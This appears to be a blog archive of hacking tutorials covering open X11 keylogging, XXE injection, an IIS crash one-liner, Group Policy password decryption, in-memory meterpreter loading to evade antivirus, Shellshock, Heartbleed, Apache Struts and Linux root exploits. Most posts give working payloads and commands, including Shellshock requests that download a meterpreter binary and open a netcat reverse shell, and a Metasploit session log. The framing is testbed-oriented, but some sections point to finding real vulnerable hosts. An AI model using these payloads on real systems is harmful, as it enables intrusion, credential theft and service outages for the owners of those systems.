Category Archives: practical hacking

More X11 Hacking with xspy and xwatchwin

I’ve posted about open X11 servers before, including keylogging and grabbing an image of the desktop.  Today I just want to add a couple other tools to the toolbelt.  To learn more about X11, see the other posts as they describe it in better detail.

Setup Your Testbed

Today I’ll be using Ubuntu 14.04.1 LTS version.  The setup is almost the same as before with Ubuntu 12.04, except the config file has moved for some reason.  If you look in the /etc/lightdm/ folder, there no longer exists any lightdm.conf file.  There is only a users.conf file.  I tried just creating a lightdm.conf file, but that totally crashed my system and I had to refresh to my previous snapshot.  Do not do this.

The config files have moved to the /usr/share/lightdm/lightdm.conf.d/ folder.  Add the xserver-allow-tcp=true line to the end of the /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf file, restart lightdm with “sudo restart lightdm”, and you should be good to go.  Don’t forget to run “xhost +” to allow anyone to connect, just light the previous X11 post describes.

If you want to run xhost  + by default, add the following:


Then your script can look like this:

xhost +

If you want to make it work on a different OS, here is a post that shows how to enable X11 on a couple versions of Linux.


How do you find a vulnerable host?

This section is the same as the last X11 post.

How do you attack that host?

Double check to make sure the previous attacks work (such as grabbing a screen shot).

First we’ll use the xspy tool.  This is actually already built into Kali, and seems to work better than the xkey tool that was described before.  Simply type xkey and then the IP address:


There appears to have been a different version in Backtrack or Kali at a different time where you had to specify options such as “xspy -display”, but on my machine, all that just confused xspy.  If your X11 server is on a port other than 6000 (like 6001 or something), you may have to download and compile a different version.  Just do a search – they’re everywhere.


The other tool is xwatchwin.  You’ll have to download this one.  I found it here.  Follow the README to compile (just type xmkmf && make) and you’re good to go.

In order to use the tool, first you need to find the ID of the window using xwininfo:

$ xwininfo -root -display serverip:number


On my system, the window ID is 0x165.  So next (on the native Kali desktop, not a SSH terminal window), type:

$ ./xwatchwin serverip:number -w 0x165

A xwatchwin window will pop up, showing a (very delayed) constant view of the desktop.  This will pretty much be like a View Only version of VNC.

That’s all for now, happy hacking!

Attacking XML with XML External Entity Injection (XXE)

Within XML, there is a way to inject an external file.  For a long time, automatic XML parsers (using libxml2 in the backend) had this enabled by default.  So when XML is used as a means to format and pass data around, the website is very likely vulnerable.

XML is used in this way very frequently, but a couple of the usual suspects are some sort of API that does SOAP requests and Javascript/Ajax that uses XML to pass data.

Setup Your Testbed

For web based attacks, I usually like to test things out on Mutillidae as it comes with Metasploitable 2.  The newest version of Mutillidae has a neat page to try this attack, but the one that comes with Metasploitable 2 does not.  So I simply created my own PHP page to test it with.

Using Kali Linux, I added the following file to /var/www:

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo “You have logged in as user $user”;

I called this file xmlinject.php.  This file expects to receive XML content.  The expected XML content is something like the following:


Start the Apache with “service apache2 start”.

You can send the XML content any number of ways, but for this example, I will write it to a file called xml.txt and use curl to send it with the following command:

curl -d @xml.txt http://localhost/xmlinject.php



Under normal circumstances, you may use curl, or you may want to capture traffic in transit using Burp proxy or Zap or something along those lines.

Note that most of those lines of PHP code aren’t normally required.  However on the off chance that you are running with the fixed version of libxml2, this code will turn off the external entity protection for the purposes of the example.


How do you find a vulnerable host?

As mentioned previously, this is very often a SOAP request in an API or a Javascript request within some application using Ajax.  Go ahead and try it on anywhere there is XML information being passed around.

How do you attack that host?

In this example, whatever the contents are under “user” are being repeated back.  So add if you want to read the contents of the /etc/passwd file, the new malicious XML will look something like the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Send this to the test PHP file, and you’ll get back the contents of /etc/passwd:


As you can see, you basically just injected the contents of an external file into the “user” field.

But we’re not done yet.  If the “expect” module is installed in PHP (you can install it with “apt-get install libexpect-php5” and restart Apache), you can also do command injection.  Try changing your XML to the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id" >]>

Now you get the results of the “id” command back:


There are also other things to do, like several different types of denial of service attacks (what happens if you inject /dev/random?) such as general or recursive entity expansion.


Crashing Windows Server 2012 with a One-Liner

Yesterday, Microsoft released the MS15-034 patch for the CVE-2015-1635 vulnerability.  Today, enough people have reverse engineered it to figure out this is a pretty big deal.

Short version: You can send a blue screen of death to a variety of Windows OS’s running IIS with one line of code (see below for various versions of the line of code).

Details: There aren’t a whole lot of details yet.  This is supposedly a remote code execution / buffer overflow vulnerability, but it seems the actual scripts publicly available can only crash the server right now.

The vulnerability exists in HTTP.sys.  Basically, the request sends a Range header that will crash a system.  According to Microsoft, the vulnerable operating systems include Windows 7 SP1, Server 2008 R2, Windows 8 and 8.1, and Server 2012 and 2012 R2.

Setup Your Testbed

I tried running this on a Windows Server 2008 I had readily available (not R2) and no dice.  So in my testbed, I’m just doing a default install of Server 2012 R2 Standard.

By default, IIS is not installed.  It is pretty easy to add it – simply go to Administrative Tools -> Server Manager -> Add Roles -> Web Server (IIS).  Then don’t forget to make sure it is turned on (it probably is by default).  This Microsoft page describes the process in excruciating detail.


How do I find a vulnerable host?

There is already a good script up on pastebin (in Python) with various spinoffs 1 and 2 (in C) that will help you find vulnerable hosts.  I’m sure more will show up, and eventually show up in scanners such as Nessus.  Be careful though – unless you are willing to crash a host, do not scan or perform this attack.

You can even search for vulnerable IIS versions on Shodan.

How do I attack that host?

The attack works great using wget (the destination doesn’t matter as long as it actually exists, so if you don’t have the welcome.png, just try something else – just using the root / won’t work though):

wget --header="Range: bytes=18-18446744073709551615"

Others have claimed success when using curl and telnet/netcat as in the examples below:

curl -v -H "Range: bytes=18-18446744073709551615"

$ telnet 80
GET /iis-85.png HTTP/1.1
Host: irrelevant
Range: bytes=18-18446744073709551615

When I try these methods, nothing crashes.  I’m not sure why – if you look at a packet capture, the requests are nearly identical.  Fiddling with the Range parameter, I get the following response: “HTTP Error 416. The requested range is not satisfiable.”  Changing other parameters doesn’t seem to make a difference, so I am just keeping this here for troubleshooting for others.  If you are having a hard time, use the wget as a one-liner, or one of the scripts that have already been linked to.

So if it isn’t already obvious, everyone better patch this ASAP.  If your server is internet facing, so script kiddies will crash it at best, and at worst someone who has figured out how to actually do remote code execution will completely take your server over.



In my case, the server actually restarted itself, so at least it didn’t stay dead.

Happy hacking!


Grabbing Passwords from your Domain Controller (GPP MS14-025)

Another tool that is part of the Powersploit toolkit mentioned earlier is Get-GPPPassword.

One way to add a user (or change a password) for many users in a domain is through Group Policy Preferences (GPP).  This essentially adds a GPO to the domain with a username and an (encrypted) password for all the computers on the domain to grab and process.  The problem here is that Microsoft actually published the AES symmetric encryption key it uses right on MSDN.

GPOs are available for any authenticated domain user to read via \\domain-name-here\SYSVOL share.  In other words, any authenticated user (insider attack, spear phished creds, etc) can gain access to these credentials in cleartext.  The GPPs with the passwords are usually located in \\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

In 2012, Chris Campbell wrote up a very easy to use Powershell script to search for these GPOs, decrypt the passwords, and print out the cleartext credentials.  The script has since been updated and uploaded to the Powersploit github repository.

In 2014, Microsoft finally issued the MS14-025 patch for this issue.  However they didn’t want to break anyone’s current processes by removing bad GPOs, so they simply disabled the Username and Password boxes and left it to the user to remove the bad GPOs.  Therefore, this attack vector will likely be very useful for a long time to come.


Setup  Your Testbed

Testing this vulnerability in a controlled environment is difficult.  It requires setting up a Windows domain and adding test users via GPP, which is beyond the scope of this blog.  Just trust me – if your environment contains passwords, you will see them.  The script will not do any harm – it is merely viewing the contents of GPO files, just like any other domain joined computer would.


How do I find a vulnerable host?

Check to see if your local system is joined to a domain.  This can by done by right clicking on My Computer and clicking properties.  If it lists a workgroup, then you are out of luck.  If it lists a domain, then you’re in business.

How do you attack that host?

This is the easy part.  Simply run Get-GPPPassword.ps1 from the command line, and everything else is done for you.


The script will automatically figure out your domain and go searching for GPOs with passwords.  This may take a while because it is likely going across the network and searching.

These tasks can actually be split up and improved upon.  First, copy all of the GPOs from the network location to a local location by copying the entire contents of \\domain\SYSVOL\domain\Policies (or if these files are very large in your domain, write a script to search for and only copy the relevant Groups.xml types of files). Now you can use a nifty script that Microsoft provides called Enum-SettingsWithCpassword.  This script alone provides very little information, but it is easy to edit the end part with all the Add-Member lines to provide additional information.  Here is what mine looks like:

Add-Member –membertype NoteProperty –name GPOName –value ($gpoName) –passthru |
Add-Member -MemberType NoteProperty -name Owner -value ($gpoOwner) -passthru |
Add-Member -MemberType NoteProperty -name UserName -value ($gpp.Name) -passthru |
Add-Member -MemberType NoteProperty -name Password -value (Get-DecryptedCpassword($gpp.Properties.cpassword)) -passthru |
Add-Member -MemberType NoteProperty -name Modified -value ($gpp.changed) -passthru |
Add-Member -MemberType NoteProperty -name ChangeOnLogon -value ($gpp.Properties.changeLogon) -passthru |
Add-Member -MemberType NoteProperty -name ChangeDisabled -value ($gpp.Properties.noChange) -passthru |
Add-Member -MemberType NoteProperty -name NeverExpires -value ($gpp.Properties.neverExpires) -passthru |
Add-Member -MemberType NoteProperty -name Disabled -value ($gpp.Properties.acctDisabled) -passthru |
Add-Member -MemberType NoteProperty -name GUID -value ($gpoGuid) -passthru |
Add-Member -MemberType NoteProperty -name Status -value ($gpoStatus) -passthru |
Add-Member -MemberType NoteProperty -name Path -value ($prefLocation) -passthru |
Add-Member -MemberType NoteProperty -name FilePath -value ($fileFullPath)

Notice that I also used the DecryptedCpassword utility (also provided on the same Microsoft page).  Once your script is ready, I prefer to dump the contents into a CSV file.  So the function would be run like this:

PS > Enum-SettingsWithCpassword("C:\Users\colesec\Desktop\GPOs") | Export-CSV C:\Users\colesec\Desktop\GPOsWithPass.csv

The other thing about this script is that it requires the GroupPolicy module for Powershell, which you probably don’t already have if you’re not running this from a Windows Server distribution.  No fear though – this is just an easy, free download from Microsoft.  Grab the Remote Server Administration Tools (RSAT), install, and you’re set.  More info here.

Good luck!

Hacking with Powershell, Powersploit, and Invoke-Shellcode

Powershell has recently come into the spotlight as more than just a sysadmin tool, but a great cyber security tool.  This was emphasized by many of the popular hacker cons this last year.

One incredibly useful tool is Powersploit.  It is a set of powershell scripts put together (and in part written by) Matt Graeber.

In this post, we’re going to use the Invoke-Shellcode script from Powersploit to completely bypass antivirus and load up a meterpreter back to your server.  Antivirus never catches it because it never actually hits the hard drive; everything stays in memory.  Genius, right?

Setup Your Testbed

The victim machine needs to be any Windows machine.  In this example, we’ll be using Windows 7 64-bit.  You can even have an antivirus installed, and you will see that it never gets caught.

The victim machine also needs to download the Invoke-Shellcode.ps1 script from somewhere.  In the examples below, we’ll just grab them straight from github.  This isn’t always possible (or smart), so powersploit is also already available in Kali under /usr/share/powersploit.  You can easily set up a temporary web server on port 8000 to download from by using the Python module SimpleHTTPServer:

$ cd /usr/share/powersploit
$ python -m SimpleHTTPServer
Serving HTTP on port 8000 ...

And now you can use your Kali box instead.


You can also make sure you have the very latest powersploit scripts by cloning the archive:

$ git clone
Cloning into 'PowerSploit'...
remote: Counting objects: 1555, done.
remote: Total 1555 (delta 0), reused 0 (delta 0), pack-reused 1555
Receiving objects: 100% (1555/1555), 5.94 MiB | 2.63 MiB/s, done.
Resolving deltas: 100% (743/743), done.


How do you find a vulnerable host?

Any Windows machine with powershell installed should be vulnerable.  You can tell that powershell is installed simply by entering the powershell prompt from the command line.



How do you attack that host?

First, you need to download the script and load it into memory.  The trick here is that it never hits the hard drive, so antivirus doesn’t catch anything.

PS > IEX (New-Object Net.WebClient).DownloadString("")

Note, you shouldn’t see any errors.  Also note that if you see the following text: “Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.” – you need to download Invoke–Shellcode instead of Invoke-Shellcode. It seems the author is trying to make a point about downloading code.

Now that Invoke-Shellcode has been loaded,  you can optionally find out more about it.

PS > Get-Help Invoke-Shellcode


All of the Powersploit scripts have very helpful Get-Help commands.

Now you need to setup the handler to catch the meterpreter payload.  Start up Metasploit and begin your handler:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...

Finally, you are ready to use Invoke-Shellcode on the victim:

PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport 4444 -Force

You should have a meterpreter shell on your Kali machine:

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Request received for /INITM...
[*] Staging connection for target /INITM received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened ( -> at 2015-03-05 11:35:10 -0500

meterpreter > getuid
Server username: testcomp\colesec

As another tip, there is a fantastic post exploit module called post/windows/manage/smart_migrate.  You can run it at this point to automatically migrate to another process, after which you can completely close the powershell window and still keep the meterpreter process running.  You can even make the process run automatically in your handler setup by adding the command “set AutoRunScript post/windows/manage/smart_migrate”



References: (great description of other powersploit scripts) (cool tutorial on adding custom payloads and using persistence)

Hacking with Shellshock

Shellshock is a vulnerability reminiscent of Heartbleed.  The large majority of servers on the internet are vulnerable, and the vulnerability has existed for a long time before it was publicly discovered.  There are a number of CVE’s for different Shellshock attacks, including CVE-2014-6271,  CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, and CVE-2014-6277.  We’ll be focusing on the first CVE-2014-6271.  The rest are very similar.

Shellshock is a a vulnerability in GNU bash that allows remote users to execute arbitrary commands on a machine.  For technical details on how the vulnerability works, follow this link.

Setup Your Testbed

The setup is simple.  Install a Linux machine that was released before September 28, 2014.  Then install a web server, but don’t update the rest of the system (particularly bash).


How do you find a vulnerable host?

There are two ways to find a vulnerable host.  The first, if you have command line access to the machine, is to run a command:

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system says “vulnerable”, then you are vulnerable.  Otherwise if it just says “this is a test”, then you are patched.

Example of a vulnerable system:



Example of a patched system:



The second way, if you do not have command line access to the machine, is to remotely send a web request that tells bash to run a command.  The trick here is that you need to find a backend CGI script that runs bash in some manner, which is often impossible to tell as a client.  This makes vulnerability scanning more likely to return false negatives on shellshock vulnerability unless they are authenticated scans.

Furthermore, most PHP and Python backend scripts will not be vulnerable unless they use bash scripting in the backend (such as using the system() or popen() calls).

A vulnerable system can be setup for remote commands as follows:

  1. Setup a colesec_shellshock.cgi script on the server side that uses bash scripting, such as the following:
    echo "Content-type: text/html"
    echo ""
    echo "Colesec Testing"

  2. Save the script to a location it will be run as a cgi script (on my server, it is /usr/lib/cgi-bin, or sometimes simply saving it as .cgi in the web root will work). Don’t forget to make it executable (chmod 755 colesec_shellshock.cgi)
  3. Now from your malicious client, you can craft a web request with a bash command in the headers.  In this example, we will use the User-Agent header for the bash command, with curl to craft the packet.  Any header and any packet creating agent (like another scripting language) could be used instead:
    $ curl -k -H 'User-Agent: () { :;}; echo colesec>/tmp/shellshock'
    Colesec Testing

After the above steps have been completed, a new file should have been created on the server in /tmp/shellshock.

Of course the results of the “echo” command will not return anything, so the normal “Colesec Testing” output is returned.  If this were a different command that returns an output, that will change what the CGI script looks like, and you’ll get back an 500 Internal Server Error status message rather than a 200 OK.  If you do not have access to the server, a great way to tell if it is vulnerable is if you get a 500 Internal Server Error with your malicious User-Agent string, when otherwise you would get a 200 OK with a normal User-Agent string.

The shellshock tester websites available simply run through some scripts (such as cPanel, FormMail, etc.) that are known to use bash in them.  When the request returns with a status of 500 instead of 200, then you know it is vulnerable.

How do you attack that host?

Instead of creating a benign file, you can download (and subsequently run) a backdoor such as a meterpreter payload (create with msfpayload):

$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "wget -O /tmp/meterpreter1"'

This should download your payload, assuming is your vulnerable target, and is your client.  In the next run, you can run your payload.  Another option is to simply use netcat to open a session back to your client.  On the client, start a listener like this:

$ nc -kvl 4444

Then you can run the command to have the server connect back to the client:

$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc -e /bin/bash 4444"'

This should open a shell back to your server:

$ nc -kvl 4444
Connection from port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As a note above, the Ubuntu version of netcat doesn’t have the -e command, so you could run into issues there.

Finally, you can simply include your own shell code to run something.  There are many options.  I am sure a metasploit module to streamline the process will be out soon.  From here, look for the various privilege escalation options to get root.

Happy hacking!

Other References: – Shellshock with DHCP

Hacking with Heartbleed

Heartbleed is a very serious vulnerability that came out this year, known by CVE-2014-0160.  The problem occurs in the heartbeat code of the OpenSSL library.  The idea is that an origination server sends a random bit of data to a target server.  That target server then responds by sending the same bit of data to the origination server.

The problem is that the size of the data sent is not checked.  So the origination server could send 1 byte of data, but claim it is actually 65,535 bytes.  The target server handles this by responding with the original 1 byte of data and 65,534 bytes of whatever happened to be in memory at the time.  This can include passwords, SSL keys, etc.

This exploit will work with any port/service (SSH, mail, etc.), but in this example we’ll be using HTTPS.

Setup Your Testbed

The vulnerable versions of OpenSSL are 1.0.1 through 1.0.1f, with the fix occuring in 1.0.1g.  As of now, you can grab nearly any version of Linux and just don’t update it.  I am using Ubuntu 12.04.4 LTS.  You can check your version of openssl by typing:

$ openssl version
OpenSSL 1.0.1 14 Mar 2012
$ sudo apt-get install apache2

If necessary, you can install Apache once you have verified that your version of OpenSSL is vulnerable.  You’ll need to enable SSL in Apache next:

# ln -s /etc/apache2/mods-available/ssl.load /etc/apache2/mods-enabled/
# ln -s /etc/apache2/mods-available/ssl.conf /etc/apache2/mods-enabled/
# ln -s /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled/
# /etc/init.d/apache2 restart

Afterwards you should be able to browse to your webserver using HTTPS (you’ll probably have to confirm a security exception since you signed your own certificate by default rather than paying for one trusted by the browser).




How do you find a vulnerable host?

Exploit-db has a great proof of concept code that is highly accurate to determine if you are vulnerable.  You simply need to point this code to your vulnerable web server, and data from memory contents comes out.

$ python



In this case, there is not a lot going on in the web server, so it doesn’t have anything to show in memory, but other (busier) webservers will.  Here is an example of a busy webserver (Yahoo), and the type of information it can return:



How do you attack that host?

You can run the attack thousands of times per second, grabbing different data from memory every time.  Cloudflare ran a contest to see if anyone could grab the SSL private keys, where the successful users used this method.

Good luck and happy hacking!

Cloudflare contest
Detailed analysis here and here

Hacking Apache Struts

Apache Struts is a development platform that runs on top of Apache Tomcat.  It was discovered (CVE-2013-2251) that Struts 2.0.0 – Struts 2.3.15 has a serious vulnerability, allowing remote code execution.

Setup Your Testbed

As always, we want to test the vulnerability on our own server.  The first thing you want to do is install Apache Tomcat on your server. On a Ubuntu machine, you can run the following:

$ sudo apt-get install tomcat7 tomcat7-admin

You should see Tomcat running on your host at (change for your own IP address).  Next, you’ll want to add a user capable of uploading apps to Tomcat.  In the /etc/tomcat-users.xml file, add a user with privileges.  For example, you can add the following:

<user username="colesec" password="s3cret" roles="manager-gui,admin-gui" />

Be sure your added user is not commented out.  This will allow you to login to the manager with username colesc and password s3cret.  Restart Tomcat to take the permissions.

Now download a vulnerable version of Apache Struts. Struts 2.3.15 can be downloaded here.  Unzip the archive, and you’ll find all of the struts files.  At this point, you can check out the Struts documentation and compose your own Struts application in Java, or you can use one of the provided demos.  For the purposes of this blog, we’ll use the struts2-blank.war and the struts2-showcase.war demos.  These are located in the “apps” directory of the archive you just downloaded.

Login to the Tomcat manager website (, scroll down to the Deploy section, and upload your two war files under War file to deploy.

struts-deployOnce the two apps are successfully deployed, they’ll be listed on the manager page under Applications.  Click on the link, and you’ll go to the two Struts apps you just deployed.



How do you find a vulnerable host?

This is not as easy as it may sound.  There is not usually anything in the page or its headers to to specify it is a Struts app.  The best thing I can recommend is to narrow it down by searching for Apache Tomcat servers (they usually say Tomcat or Coyote in the Powered By headers), and then try test the vulnerability on each page.

Apache Struts has a great page describing the vulnerability and how to find it.  Additionally, this link does a good job describing it as well.  Basically, the action: and redirect: parameters are not properly santized, and allow Java code to be injected.  So a good test is to try X.action?action:%25{3*4} and look for 12 to show up on any error page that shows up, or X.action?redirect:%25{3*4} and see if you get redirected to “12”.

struts-12A well written script can run these checks automatically, finding vulnerable Apache struts modules.

How do you attack that host?

The links given above describe how you can inject arbitrary command line options to be run on the server hosting the Struts app.  However, Metasploit has a nice all in one package to run the exploit and create a shell.  The exploit is located under exploit/multi/http/struts_default_action_mapper.

msf > use exploit/multi/http/struts_default_action_mapper
msf exploit(struts_default_action_mapper) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(struts_default_action_mapper) > set RHOST
msf exploit(struts_default_action_mapper) > set LHOST
msf exploit(struts_default_action_mapper) > set TARGETURI /struts2-blank/example/HelloWorld.action
msf exploit(struts_default_action_mapper) > exploit

[*] Started reverse handler on
[*] - Target autodetection...
[+] - Linux target found!
[*] - Starting up our web service on ...
[*] Using URL:
[*] Local IP:
[*] - Downloading payload to /tmp/MzefQhHltDObvVW...
[*] - Waiting for the victim to request the payload...
[*] - Sending the payload to the server...
[*] - Make payload executable...
[*] - Execute payload...
[*] Sending stage (36 bytes) to
[*] Command shell session 1 opened ( -> at 2014-01-29 11:13:33 -0500
[+] Deleted /tmp/MzefQhHltDObvVW
[*] Server stopped.


It may not look like it, but you have shell.  I typed “whoami”, and the response was “tomcat7”.  Happy hacking!



X11 Keylogger

To understand X11 and some other ways to attack it, see the first X11 post.

There are a few additional things you can do with open X11 ports, but they don’t seem to work on a Ubuntu system.  Therefore I am setting up a CentOS 6.4 machine for this next test.

Setup Your Testbed

Run the default install of CentOS.  I used the LiveCD and ran the installer from there.

Once CentOS is installed, make sure you either disable the firewall or add in the appropriate ports.  Otherwise you’ll spend a long time troubleshooting why those ports don’t appear to be open over the network.  You can do this either from the GUI (System -> Administrator -> Firewall), or the GUI (/etc/init.d/iptables stop)

Allowing direct TCP connection to X11 is done by editing the /etc/gdm/gdm.schemas file.  There is an option called security/DisallowTCP that needs to be changed from true to false.



After this, restart your X server (or the entire system) and you should have port 6000 open.  If not, check the firewall again (iptables -L should either be empty, or have a rule for dst port 6000 BEFORE any deny all rule).

Also, remember to follow the same procedure as listed in the last X11 post.  xhost + must be added so that anyone can connect.


How do you find a vulnerable host?

This section is the same as the last X11 post.

How do you attack that host?

Double check to make sure the previous attacks work (such as grabbing a screen shot).

The first thing we are going to do is setup a keylogger over X11.  Download the xkey.c file from here.  Then compile it just as it mentions in the instructions:

root@kali:~# gcc -o xkey xkey.c -lX11 -lm
xkey.c: In function `main`:
xkey.c:81:6: warning: incompatible implicit declaration of built-in function `exit` [enabled by default]

There will be some warnings as shown above, but no errors – the program compiles just fine.  Then you just simply need to run the program in the form ./xkey <ip address>:<x11 number>.  So run the following:

# ./xkey

Then start typing on your CentOS box.  The key presses will pop up.

keyloggingNote: I really don’t know why everything is doubled up, but the point is, keystrokes are being logged.

By the way, I’ve also been playing with some older tools that are supposed to be able to push commands over X11 (like what we were doing with xdotool). They are called xpusher.c and xtester.c.  I haven’t gotten them to work yet though – if anyone else has, please comment.

Hacking with Local Privilege Escalation

Taking advance of Linux vulnerabilities can allow local privilege escalation.  This means you login as a normal unprivileged user, but you run some program, and you end up as a root user.  One classic exploit is called vmsplice, aka jessica_biel_naked_in_my_bed.c aka CVE-2008-0009.  Simply compile and run the program, and you’re root.

Just this week, a new exploit came out.  The vmsplice exploit works for Linux kernels 2.6.17 –  This new exploit (semtex.c) works for 2.6.37 – 3.8.10 (as well as 2.6.32 on CentOS).  It is CVE-2013-2094. UPDATE: Try searching for this on as the original link is now down.

Setup Your Testbed

Download various versions of Linux to test it on.  I tried it on Ubuntu, Debian, CentOS, and Trixbox (an older version of CentOS with voice stuff).


How do you find a vulnerable host?

The easiest way is to check the kernel of the machine you are logged into:

$ uname -a
Linux new-host-4 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

This particular system looks like it is below the required kernel level.  However since it is CentOS, it still works.

A practical way as well is to simply try it.  Except for some funky logs, it shouldn’t hurt the system to just try the exploit to see if it works.

In my testing, this newest exploit worked on the latest CentOS and Debian (64-bit) distributions.  It did not work on Trixbox (kernel too old), Ubuntu (apparently according to comments in some of the references listed below it can work, but the code needs to be slightly edited), or the most recent Debian 32-bit (no idea why).

How do you attack that host?

You simply need to compile and run the program.  The vmsplice will compile very simply:

$ gcc exploit.c -o exploit
$ ./exploit

The new exploit requires slightly different instructions:

$ gcc -O2 semtex.c
$ ./a.out

If it works, you should get a root console:


References: (original poster) (splender does an excellent dissection of the exploit in the comments)